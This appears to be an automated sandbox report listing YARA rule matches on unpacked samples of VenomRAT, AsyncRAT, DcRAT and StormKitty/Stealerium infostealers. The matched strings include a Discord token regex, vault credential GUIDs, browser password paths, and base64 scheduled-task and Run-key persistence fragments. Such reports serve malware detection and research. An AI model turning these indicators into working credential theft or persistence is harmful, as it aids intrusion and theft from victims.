5.2.RegAsm.exe.525b8a.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
0.2.rwvg1.exe.428ad9a.6.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0.2.rwvg1.exe.428ad9a.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rwvg1.exe.428ad9a.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rwvg1.exe.428ad9a.6.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0.2.rwvg1.exe.428ad9a.6.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0.2.rwvg1.exe.428ad9a.6.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0.2.rwvg1.exe.428ad9a.6.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
0.2.rwvg1.exe.428ad9a.6.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
0.2.rwvg1.exe.428ad9a.6.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
0.2.rwvg1.exe.428ad9a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
0.2.rwvg1.exe.428ad9a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.rwvg1.exe.428ad9a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.2.rwvg1.exe.428ad9a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
0.2.rwvg1.exe.428ad9a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.rwvg1.exe.428ad9a.6.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
0.2.rwvg1.exe.3e695f0.7.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0.2.rwvg1.exe.3e695f0.7.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.2.rwvg1.exe.3e695f0.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rwvg1.exe.3e695f0.7.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0.2.rwvg1.exe.3e695f0.7.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0.2.rwvg1.exe.3e695f0.7.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x23f608:$a1: havecamera 0x28a432:$a2: timeout 3 > NUL 0x28d7b5:$a3: START "" " 0x28dcca:$a3: START "" " 0x28dba5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28dc42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0.2.rwvg1.exe.3e695f0.7.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x290b2c:$str01: Processe: 0x2909e8:$str02: Compname: 0x290ae2:$str04: SandBoxie: 0x290a78:$str08: WEBCAMS COUNT: 0x290a9c:$str09: [Virtualization] 0x2912ea:$str10: [Open google maps]( 0x292d61:$str11: Remember password: 0x285e54:$str12: Target.Browsers.Firefox 0x26d5cf:$str13: Modules.Keylogger 0x275492:$str14: ClipperAddresses 0x277637:$str15: ChromiumPswPaths 0x277649:$str15: ChromiumPswPaths 0x27358c:$str16: DetectedBankingServices 0x2736f5:$str17: DetectCryptocurrencyServices 0x2815ee:$str18: CheckRemoteDebuggerPresent 0x282573:$str19: GetConnectedCamerasCount
0.2.rwvg1.exe.3e695f0.7.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x2fc1fb:$sk01: LimerBoy/StormKitty 0x250b52:$str01: set_sUsername 0x25e084:$str03: set_sExpMonth 0x27343f:$str04: WritePasswords 0x273ef9:$str05: WriteCookies 0x277648:$str06: sChromiumPswPaths 0x277623:$str07: sGeckoBrowserPaths 0x28cccf:$str10: encrypted_key":"(.*?)"
0.2.rwvg1.exe.3e695f0.7.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28dc42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x289d12:$str04: Pac_ket 0x299a58:$str05: Perfor_mance 0x299a9c:$str06: Install_ed 0x244105:$str07: get_IsConnected 0x25a5ca:$str08: get_ActivatePo_ng 0x26e505:$str09: isVM_by_wim_temper 0x29a34a:$str10: save_Plugin 0x28a432:$str11: timeout 3 > NUL 0x299638:$str12: ProcessHacker.exe 0x29982a:$str13: Select * from Win32_CacheMemory
0.2.rwvg1.exe.3e695f0.7.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28dc42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28dba5:$s2: L2Mgc2NodGFza3MgL2
0.2.rwvg1.exe.3e695f0.7.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29982a:$q1: Select * from Win32_CacheMemory 0x29986a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x2998b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x299906:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.rwvg1.exe.3e695f0.7.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x291a06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.2.rwvg1.exe.3e695f0.7.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2973a1:$s1: \VPN\NordVPN 0x297387:$s2: \VPN\OpenVPN 0x297369:$s3: \VPN\ProtonVPN
0.2.rwvg1.exe.3e695f0.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28c0eb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28c15d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28c1e7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28c279:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28c2e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28c355:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28c3eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28c47b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.rwvg1.exe.3e695f0.7.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x2fc1e8:$x2: https://github.com/LimerBoy/StormKitty 0x2fc204:$x3: StormKitty 0x27c1f4:$s2: GetAntivirus 0x29225a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28b6a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28cccd:$s6: "encrypted_key":"(.*?)"
0.2.rwvg1.exe.3e695f0.7.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x289ca2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x285e16:$s6: VirtualBox 0x295995:$s6: VirtualBox 0x2913b2:$s8: Win32_ComputerSystem 0x2958fb:$s8: Win32_ComputerSystem 0x28e4de:$s9: Win32_Process Where ParentProcessID= 0x28e0fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28e198:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28e2ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28e395:$cnc4: POST / HTTP/1.1
5.2.RegAsm.exe.400000.0.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.RegAsm.exe.400000.0.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
5.2.RegAsm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.RegAsm.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.RegAsm.exe.400000.0.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.RegAsm.exe.400000.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.RegAsm.exe.400000.0.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths 0x279449:$str15: ChromiumPswPaths 0x27538c:$str16: DetectedBankingServices 0x2754f5:$str17: DetectCryptocurrencyServices 0x2833ee:$str18: CheckRemoteDebuggerPresent 0x284373:$str19: GetConnectedCamerasCount
5.2.RegAsm.exe.400000.0.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
5.2.RegAsm.exe.400000.0.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
5.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
5.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
5.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
5.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d69e:$a1: havecamera 0x1684c8:$a2: timeout 3 > NUL 0x16b84b:$a3: START "" " 0x16bd60:$a3: START "" " 0x16bc3b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcd8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16ebc2:$str01: Processe: 0x16ea7e:$str02: Compname: 0x16eb78:$str04: SandBoxie: 0x16eb0e:$str08: WEBCAMS COUNT: 0x16eb32:$str09: [Virtualization] 0x16f380:$str10: [Open google maps]( 0x170df7:$str11: Remember password: 0x163eea:$str12: Target.Browsers.Firefox 0x14b665:$str13: Modules.Keylogger 0x153528:$str14: ClipperAddresses 0x1556cd:$str15: ChromiumPswPaths 0x1556df:$str15: ChromiumPswPaths 0x151622:$str16: DetectedBankingServices 0x15178b:$str17: DetectCryptocurrencyServices 0x15f684:$str18: CheckRemoteDebuggerPresent 0x160609:$str19: GetConnectedCamerasCount
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebe8:$str01: set_sUsername 0x13c11a:$str03: set_sExpMonth 0x1514d5:$str04: WritePasswords 0x151f8f:$str05: WriteCookies 0x1556de:$str06: sChromiumPswPaths 0x1556b9:$str07: sGeckoBrowserPaths 0x16ad65:$str10: encrypted_key":"(.*?)"
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcd8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167da8:$str04: Pac_ket 0x177aee:$str05: Perfor_mance 0x177b32:$str06: Install_ed 0x12219b:$str07: get_IsConnected 0x138660:$str08: get_ActivatePo_ng 0x14c59b:$str09: isVM_by_wim_temper 0x1783e0:$str10: save_Plugin 0x1684c8:$str11: timeout 3 > NUL 0x1776ce:$str12: ProcessHacker.exe 0x1778c0:$str13: Select * from Win32_CacheMemory
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcd8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc3b:$s2: L2Mgc2NodGFza3MgL2
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778c0:$q1: Select * from Win32_CacheMemory 0x177900:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17794e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17799c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa9c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175437:$s1: \VPN\NordVPN 0x17541d:$s2: \VPN\OpenVPN 0x1753ff:$s3: \VPN\ProtonVPN
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a181:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1f3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a27d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a30f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a379:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3eb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a481:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a511:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.rwvg1.exe.3b9d33a.8.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d38:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163eac:$s6: VirtualBox 0x173a2b:$s6: VirtualBox 0x16f448:$s8: Win32_ComputerSystem 0x173991:$s8: Win32_ComputerSystem 0x16c574:$s9: Win32_Process Where ParentProcessID= 0x16c191:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c22e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c343:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c42b:$cnc4: POST / HTTP/1.1
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x41b09e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x465ec8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x46924b:$a3: START "" " 0x469760:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x46963b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696d8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
